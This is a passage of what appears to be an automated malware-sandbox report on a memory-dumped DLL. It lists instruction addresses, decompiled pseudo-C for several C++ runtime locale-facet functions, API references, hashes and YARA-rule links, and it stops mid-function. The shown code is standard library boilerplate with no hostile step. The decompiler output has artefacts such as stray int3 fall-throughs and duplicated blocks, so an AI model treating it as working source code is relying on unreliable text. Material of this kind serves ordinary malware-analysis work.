0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d
0x6dd1f7b0
0x6dd1f7b0
0x6dd1f7b3
0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1
0x6dd1f664
0x6dd1f664
0x6dd1f667
0x6dd1f66b
0x6dd1f66f
0x6dd1f67c
0x6dd1f684
0x6dd1f686
0x00000000
0x6dd1f686
0x6dd1f64d
0x6dd1f64d
0x00000000
0x6dd1f64d
0x6dd1f64b
0x6dd1f5be
0x6dd1f5be
0x6dd1f5c1
0x6dd1f5c5
0x6dd1f5c9
0x6dd1f5d6
0x6dd1f5de
0x6dd1f5e0
0x00000000
0x6dd1f5e0
0x6dd1f5a7
0x6dd1f5a7
0x00000000
0x6dd1f5a7
0x6dd1f5a5
0x6dd1f518
0x6dd1f518
0x6dd1f51b
0x6dd1f51f
0x6dd1f523
0x6dd1f530
0x6dd1f538
0x6dd1f53a
0x00000000
0x6dd1f53a
0x6dd1f501
0x6dd1f501
0x00000000
0x6dd1f501
0x6dd1f4ff
0x6dd1f472
0x6dd1f472
0x6dd1f475
0x6dd1f479
0x6dd1f47d
0x6dd1f48a
0x6dd1f492
0x6dd1f494
0x00000000
0x6dd1f494
0x6dd1f45b
0x6dd1f45b
0x00000000
0x6dd1f45b
0x6dd1f459
0x6dd1f3cc
0x6dd1f3cc
0x6dd1f3cf
0x6dd1f3d3
0x6dd1f3d7
0x6dd1f3e4
0x6dd1f3ec
0x6dd1f3ee
0x00000000
0x6dd1f3ee
0x6dd1f3b5
0x6dd1f3b5
0x00000000
0x6dd1f3b5
0x6dd1f3b3
0x6dd1f326
0x6dd1f326
0x6dd1f329
0x6dd1f32d
0x6dd1f331
0x6dd1f33e
0x6dd1f346
0x6dd1f348
0x00000000
0x6dd1f348
0x6dd1f30f
0x6dd1f30f
0x00000000
0x6dd1f30f
0x6dd1f30d

APIs

__EH_prolog3.LIBCMT ref: 6DD1F2D6
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F2E0
int.LIBCPMT ref: 6DD1F2F7

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F331
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F351
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F36F

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 22d5a536be178e629b6a8ee93138d519451423869c2716700b680513acf5374e
Instruction ID: 8f0e5e5ab558b3a1163743d039e96de44095497cb623cc2f2a7cba4453ce05de
Opcode Fuzzy Hash: 22d5a536be178e629b6a8ee93138d519451423869c2716700b680513acf5374e
Instruction Fuzzy Hash: 7B119E7290C129CBCF01FBA4DC40AFDB775EF85714F16404AF620AB291EB7599058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1FA97, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1FA97(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t69;
				signed int _t70;
				void* _t82;
				void* _t95;
				void* _t108;
				signed int _t169;
				signed int _t185;
				signed int _t186;
				signed int _t187;
				signed int _t189;
				signed int _t190;
				signed int _t191;
				signed int _t192;
				signed int _t193;
				void* _t198;

				_t182 = __edx;
				_t141 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t198 - 0x14, 0);
				_t189 =  *0x6ddd6dfc; // 0x0
				 *(_t198 - 4) =  *(_t198 - 4) & 0x00000000;
				 *(_t198 - 0x10) = _t189;
				_t69 = E6DCF161C(0x6ddd6da8);
				_t144 =  *((intOrPtr*)(_t198 + 8));
				_t70 = E6DCF171B( *((intOrPtr*)(_t198 + 8)), _t69);
				_t184 = _t70;
				if(_t70 != 0) {
					L5:
					E6DD166BA(_t198 - 0x14);
					return E6DD30075(_t184);
				} else {
					if(_t189 == 0) {
						_push( *((intOrPtr*)(_t198 + 8)));
						_push(_t198 - 0x10);
						__eflags = E6DD214EC(__ebx, _t144, __edx, _t184, _t189) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t198 - 0x20);
							E6DD33D74(_t198 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t184, _t189, 0x14);
							E6DD16653(_t198 - 0x14, 0);
							_t190 =  *0x6ddd6dcc; // 0x0
							 *(_t198 - 4) =  *(_t198 - 4) & 0x00000000;
							 *(_t198 - 0x10) = _t190;
							_t82 = E6DCF161C(0x6ddd6d80);
							_t151 =  *((intOrPtr*)(_t198 + 8));
							_t185 = E6DCF171B( *((intOrPtr*)(_t198 + 8)), _t82);
							__eflags = _t185;
							if(_t185 != 0) {
								L12:
								E6DD166BA(_t198 - 0x14);
								return E6DD30075(_t185);
							} else {
								__eflags = _t190;
								if(_t190 == 0) {
									_push( *((intOrPtr*)(_t198 + 8)));
									_push(_t198 - 0x10);
									__eflags = E6DD21558(_t141, _t151, __edx, _t185, _t190) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t198 - 0x20);
										E6DD33D74(_t198 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t141, _t185, _t190, 0x14);
										E6DD16653(_t198 - 0x14, 0);
										_t191 =  *0x6ddd6e00; // 0x0
										 *(_t198 - 4) =  *(_t198 - 4) & 0x00000000;
										 *(_t198 - 0x10) = _t191;
										_t95 = E6DCF161C(0x6ddd6dac);
										_t158 =  *((intOrPtr*)(_t198 + 8));
										_t186 = E6DCF171B( *((intOrPtr*)(_t198 + 8)), _t95);
										__eflags = _t186;
										if(_t186 != 0) {
											L19:
											E6DD166BA(_t198 - 0x14);
											return E6DD30075(_t186);
										} else {
											__eflags = _t191;
											if(_t191 == 0) {
												_push( *((intOrPtr*)(_t198 + 8)));
												_push(_t198 - 0x10);
												__eflags = E6DD215C4(_t141, _t158, __edx, _t186, _t191) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t198 - 0x20);
													E6DD33D74(_t198 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t141, _t186, _t191, 0x14);
													E6DD16653(_t198 - 0x14, 0);
													_t192 =  *0x6ddd6dd0; // 0x0
													 *(_t198 - 4) =  *(_t198 - 4) & 0x00000000;
													 *(_t198 - 0x10) = _t192;
													_t108 = E6DCF161C(0x6ddd6d60);
													_t165 =  *((intOrPtr*)(_t198 + 8));
													_t187 = E6DCF171B( *((intOrPtr*)(_t198 + 8)), _t108);
													__eflags = _t187;
													if(_t187 != 0) {
														L26:
														E6DD166BA(_t198 - 0x14);
														return E6DD30075(_t187);
													} else {
														__eflags = _t192;
														if(_t192 == 0) {
															_push( *((intOrPtr*)(_t198 + 8)));
															_push(_t198 - 0x10);
															__eflags = E6DD2162A(_t141, _t165, _t182, _t187, _t192) - 0xffffffff;
															if(__eflags == 0) {
																_t169 = _t198 - 0x20;
																E6DCF1438(_t169);
																E6DD33D74(_t198 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd7851f, _t141, _t187, _t192, 4);
																_t193 = _t169;
																 *(_t198 - 0x10) = _t193;
																 *((intOrPtr*)(_t193 + 4)) =  *((intOrPtr*)(_t198 + 0xc));
																_push( *((intOrPtr*)(_t198 + 0x14)));
																_t63 = _t198 - 4;
																 *_t63 =  *(_t198 - 4) & 0x00000000;
																__eflags =  *_t63;
																 *_t193 = 0x6dd7c0c4;
																 *((char*)(_t193 + 0x28)) =  *((intOrPtr*)(_t198 + 0x10));
																E6DD2542F(_t141, _t169, _t182, _t187, _t193,  *_t63);
																return E6DD30075(_t193,  *((intOrPtr*)(_t198 + 8)));
															} else {
																_t187 =  *(_t198 - 0x10);
																 *(_t198 - 0x10) = _t187;
																 *(_t198 - 4) = 1;
																E6DD16FD3(__eflags, _t187);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t187 + 4))))();
																 *0x6ddd6dd0 = _t187;
																goto L26;
															}
														} else {
															_t187 = _t192;
															goto L26;
														}
													}
												} else {
													_t186 =  *(_t198 - 0x10);
													 *(_t198 - 0x10) = _t186;
													 *(_t198 - 4) = 1;
													E6DD16FD3(__eflags, _t186);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t186 + 4))))();
													 *0x6ddd6e00 = _t186;
													goto L19;
												}
											} else {
												_t186 = _t191;
												goto L19;
											}
										}
									} else {
										_t185 =  *(_t198 - 0x10);
										 *(_t198 - 0x10) = _t185;
										 *(_t198 - 4) = 1;
										E6DD16FD3(__eflags, _t185);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t185 + 4))))();
										 *0x6ddd6dcc = _t185;
										goto L12;
									}
								} else {
									_t185 = _t190;
									goto L12;
								}
							}
						} else {
							_t184 =  *(_t198 - 0x10);
							 *(_t198 - 0x10) = _t184;
							 *(_t198 - 4) = 1;
							E6DD16FD3(__eflags, _t184);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t184 + 4))))();
							 *0x6ddd6dfc = _t184;
							goto L5;
						}
					} else {
						_t184 = _t189;
						goto L5;
					}
				}
			}

0x6dd1fa97
0x6dd1fa97
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1fac8
0x6dd1facd
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5

APIs

__EH_prolog3.LIBCMT ref: 6DD1FA9E
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FAA8
int.LIBCPMT ref: 6DD1FABF

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1FAF9
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FB19
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FB37

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 480ecbc1c47a11c14efa3237bcef813fb1f69519f12606cf9f18d72da54ce91c
Instruction ID: 26fe19e7b9fee7ae20dcc40e0e033d50574de9b5d6c1388c71b65d867bddeb42
Opcode Fuzzy Hash: 480ecbc1c47a11c14efa3237bcef813fb1f69519f12606cf9f18d72da54ce91c
Instruction Fuzzy Hash: 2B119EB690C12D8BCF01FBA4EC50AEEB775EF95314F164009F611A7290EB75AA058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A24B, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E6DD1A24B(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8) {
				intOrPtr _v0;
				signed int _v4;
				void* _v16;
				char _v20;
				char _v32;
				void* _t35;
				intOrPtr* _t36;
				void* _t48;
				intOrPtr* _t82;
				intOrPtr* _t92;
				void* _t94;
				void* _t95;

				_t68 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653( &_v20, 0);
				_t94 =  *0x6ddd6cd0; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t94;
				_t35 = E6DCF161C(0x6ddd6cbc);
				_t71 = _a8;
				_t36 = E6DCF171B(_a8, _t35);
				_t91 = _t36;
				if(_t36 != 0) {
					L5:
					E6DD166BA( &_v20);
					return E6DD30075(_t91);
				} else {
					if(_t94 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E6DD1AAA0(__ebx, _t71, __edx, _t91, _t94) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438( &_v32);
							E6DD33D74( &_v32, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t91, _t94, 0x14);
							E6DD16653( &_v20, 0);
							_t95 =  *0x6ddd6cd4; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t95;
							_t48 = E6DCF161C(0x6ddd6cc0);
							_t78 = _a8;
							_t92 = E6DCF171B(_a8, _t48);
							__eflags = _t92;
							if(_t92 != 0) {
								L12:
								E6DD166BA( &_v20);
								return E6DD30075(_t92);
							} else {
								__eflags = _t95;
								if(_t95 == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E6DD1AB08(_t68, _t78, __edx, _t92, _t95) - 0xffffffff;
									if(__eflags == 0) {
										_t82 =  &_v32;
										E6DCF1438(_t82);
										E6DD33D74( &_v32, 0x6ddd3504);
										asm("int3");
										_push(_t82);
										 *((intOrPtr*)(_t82 + 4)) = _v0;
										_v16 = _t82;
										 *_t82 = 0x6dd7ba24;
										return _t82;
									} else {
										_t92 = _v16;
										_v16 = _t92;
										_v4 = 1;
										E6DD16FD3(__eflags, _t92);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t92 + 4))))();
										 *0x6ddd6cd4 = _t92;
										goto L12;
									}
								} else {
									_t92 = _t95;
									goto L12;
								}
							}
						} else {
							_t91 = _v16;
							_v16 = _t91;
							_v4 = 1;
							E6DD16FD3(__eflags, _t91);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t91 + 4))))();
							 *0x6ddd6cd0 = _t91;
							goto L5;
						}
					} else {
						_t91 = _t94;
						goto L5;
					}
				}
			}

0x6dd1a24b
0x6dd1a252
0x6dd1a25c
0x6dd1a261
0x6dd1a26c
0x6dd1a270
0x6dd1a273
0x6dd1a278
0x6dd1a27c
0x6dd1a281
0x6dd1a285
0x6dd1a2ca
0x6dd1a2cd
0x6dd1a2d9
0x6dd1a287
0x6dd1a289
0x6dd1a28f
0x6dd1a295
0x6dd1a29d
0x6dd1a2a0
0x6dd1a2dd
0x6dd1a2eb
0x6dd1a2f0
0x6dd1a2f8
0x6dd1a302
0x6dd1a307
0x6dd1a312
0x6dd1a316
0x6dd1a319
0x6dd1a31e
0x6dd1a327
0x6dd1a329
0x6dd1a32b
0x6dd1a370
0x6dd1a373
0x6dd1a37f
0x6dd1a32d
0x6dd1a32d
0x6dd1a32f
0x6dd1a335
0x6dd1a33b
0x6dd1a343
0x6dd1a346
0x6dd1a380
0x6dd1a383
0x6dd1a391
0x6dd1a396
0x6dd1a39a
0x6dd1a39e
0x6dd1a3a3
0x6dd1a3a6
0x6dd1a3ad
0x6dd1a348
0x6dd1a348
0x6dd1a34b
0x6dd1a34f
0x6dd1a353
0x6dd1a360
0x6dd1a368
0x6dd1a36a
0x00000000
0x6dd1a36a
0x6dd1a331
0x6dd1a331
0x00000000
0x6dd1a331
0x6dd1a32f
0x6dd1a2a2
0x6dd1a2a2
0x6dd1a2a5
0x6dd1a2a9
0x6dd1a2ad
0x6dd1a2ba
0x6dd1a2c2
0x6dd1a2c4
0x00000000
0x6dd1a2c4
0x6dd1a28b
0x6dd1a28b
0x00000000
0x6dd1a28b
0x6dd1a289

APIs

__EH_prolog3.LIBCMT ref: 6DD1A252
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A25C
int.LIBCPMT ref: 6DD1A273

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1A2AD
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A2CD
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A2EB

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: be04d6164b94b84951cad1cfb3db61e8fc5297a1fb7e59b4931d266345eaa87e
Instruction ID: 3861b1541ede9579781f192adaa84d28e70c5052b31c0e4f56c5384a476dd9b9
Opcode Fuzzy Hash: be04d6164b94b84951cad1cfb3db61e8fc5297a1fb7e59b4931d266345eaa87e
Instruction Fuzzy Hash: 06119E719481299BCF01FBA8DC40EFDB775EF95324F161009F610AB291DB75990A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD146AB, Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6DD146AB(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t32;
				intOrPtr* _t33;
				void* _t45;
				intOrPtr* _t76;
				intOrPtr* _t83;
				intOrPtr* _t84;
				intOrPtr* _t87;
				void* _t88;

				_t62 = __ebx;
				E6DD300AC(0x6dd78144, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t88 - 0x14, 0);
				 *(_t88 - 4) =  *(_t88 - 4) & 0x00000000;
				_t83 =  *0x6ddece84; // 0x2e961e0
				 *((intOrPtr*)(_t88 - 0x10)) = _t83;
				_t32 = E6DCF161C(0x6ddecea8);
				_t65 =  *((intOrPtr*)(_t88 + 8));
				_t33 = E6DCF171B( *((intOrPtr*)(_t88 + 8)), _t32);
				_t86 = _t33;
				if(_t33 != 0) {
					L5:
					E6DD166BA(_t88 - 0x14);
					return E6DD30075(_t86);
				} else {
					if(_t83 == 0) {
						_push( *((intOrPtr*)(_t88 + 8)));
						_push(_t88 - 0x10);
						__eflags = E6DD14FCE(__ebx, _t65, __edx, _t83, _t86) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t88 - 0x20);
							E6DD33D74(_t88 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd7816f, __ebx, _t83, _t86, 0x18);
							E6DD16653(_t88 - 0x14, 0);
							 *(_t88 - 4) =  *(_t88 - 4) & 0x00000000;
							_t84 =  *0x6ddece7c; // 0x2e993b0
							 *((intOrPtr*)(_t88 - 0x10)) = _t84;
							_t45 = E6DCF161C(0x6ddece90);
							_t72 =  *((intOrPtr*)(_t88 + 8));
							_t87 = E6DCF171B( *((intOrPtr*)(_t88 + 8)), _t45);
							__eflags = _t87;
							if(_t87 != 0) {
								L12:
								E6DD166BA(_t88 - 0x14);
								return E6DD30075(_t87);
							} else {
								__eflags = _t84;
								if(_t84 == 0) {
									_push( *((intOrPtr*)(_t88 + 8)));
									_push(_t88 - 0x10);
									__eflags = E6DD14F5F(_t62, _t72, __edx, _t84, _t87) - 0xffffffff;
									if(__eflags == 0) {
										_t76 = _t88 - 0x20;
										E6DCF1438(_t76);
										E6DD33D74(_t88 - 0x20, 0x6ddd3504);
										asm("int3");
										 *_t76 = __edx;
										return _t76;
									} else {
										_t87 =  *((intOrPtr*)(_t88 - 0x10));
										 *((intOrPtr*)(_t88 - 0x10)) = _t87;
										 *(_t88 - 4) = 1;
										E6DD16FD3(__eflags, _t87);
										 *((intOrPtr*)( *_t87 + 4))();
										 *0x6ddece7c = _t87;
										goto L12;
									}
								} else {
									_t87 = _t84;
									goto L12;
								}
							}
						} else {
							_t86 =  *((intOrPtr*)(_t88 - 0x10));
							 *((intOrPtr*)(_t88 - 0x10)) = _t86;
							 *(_t88 - 4) = 1;
							E6DD16FD3(__eflags, _t86);
							 *((intOrPtr*)( *_t86 + 4))();
							 *0x6ddece84 = _t86;
							goto L5;
						}
					} else {
						_t86 = _t83;
						goto L5;
					}
				}
			}

0x6dd146ab
0x6dd146b2
0x6dd146bc
0x6dd146c1
0x6dd146ca
0x6dd146d0
0x6dd146d3
0x6dd146d8
0x6dd146dc
0x6dd146e1
0x6dd146e5
0x6dd14720
0x6dd14723
0x6dd1472f
0x6dd146e7
0x6dd146e9
0x6dd146ef
0x6dd146f5
0x6dd146fd
0x6dd14700
0x6dd14733
0x6dd14741
0x6dd14746
0x6dd1474e
0x6dd14758
0x6dd1475d
0x6dd14766
0x6dd1476c
0x6dd1476f
0x6dd14774
0x6dd1477d
0x6dd1477f
0x6dd14781
0x6dd147bc
0x6dd147bf
0x6dd147cb
0x6dd14783
0x6dd14783
0x6dd14785
0x6dd1478b
0x6dd14791
0x6dd14799
0x6dd1479c
0x6dd147cc
0x6dd147cf
0x6dd147dd
0x6dd147e2
0x6dd147e3
0x6dd147e7
0x6dd1479e
0x6dd1479e
0x6dd147a1
0x6dd147a5
0x6dd147a9
0x6dd147b3
0x6dd147b6
0x00000000
0x6dd147b6
0x6dd14787
0x6dd14787
0x00000000
0x6dd14787
0x6dd14785
0x6dd14702
0x6dd14702
0x6dd14705
0x6dd14709
0x6dd1470d
0x6dd14717
0x6dd1471a
0x00000000
0x6dd1471a
0x6dd146eb
0x6dd146eb
0x00000000
0x6dd146eb
0x6dd146e9

APIs

__EH_prolog3.LIBCMT ref: 6DD146B2
std::_Lockit::_Lockit.LIBCPMT ref: 6DD146BC
int.LIBCPMT ref: 6DD146D3

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1470D
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD14723
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD14741

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 370b77ad660733a2dad37e4041d29c49ea875aaa12a3b3dccf22b4c53163c81c
Instruction ID: c91c075fd9d3cb04287ce43bc8a08a1a67d648c8f90a50bc7d9167327edd34de
Opcode Fuzzy Hash: 370b77ad660733a2dad37e4041d29c49ea875aaa12a3b3dccf22b4c53163c81c
Instruction Fuzzy Hash: 4F11E5B280C129DBCB01FBA4DC50AED7B70EF45728F160108F610B7280EB709905C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD14A80, Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6DD14A80(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t23;
				intOrPtr* _t24;
				intOrPtr* _t57;
				intOrPtr* _t60;
				void* _t61;

				_t44 = __ebx;
				E6DD300AC(0x6dd78144, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t61 - 0x14, 0);
				 *(_t61 - 4) =  *(_t61 - 4) & 0x00000000;
				_t57 =  *0x6ddece80; // 0x2e92660
				 *((intOrPtr*)(_t61 - 0x10)) = _t57;
				_t23 = E6DCF161C(0x6ddd6b34);
				_t47 =  *((intOrPtr*)(_t61 + 8));
				_t24 = E6DCF171B( *((intOrPtr*)(_t61 + 8)), _t23);
				_t59 = _t24;
				if(_t24 != 0) {
					L5:
					E6DD166BA(_t61 - 0x14);
					return E6DD30075(_t59);
				} else {
					if(_t57 == 0) {
						_push( *((intOrPtr*)(_t61 + 8)));
						_push(_t61 - 0x10);
						__eflags = E6DCF18A0(__ebx, _t47, __edx, _t57, _t59) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t61 - 0x20);
							E6DD33D74(_t61 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd78192, __ebx, _t57, _t59, 0xc);
							_t60 = E6DD14A32(_t44, _t57, _t59, 8);
							 *((intOrPtr*)(_t61 - 0x18)) = _t61 - 0xd;
							 *((intOrPtr*)(_t61 - 0x14)) = _t60;
							__eflags = 0;
							 *(_t61 - 4) = 0;
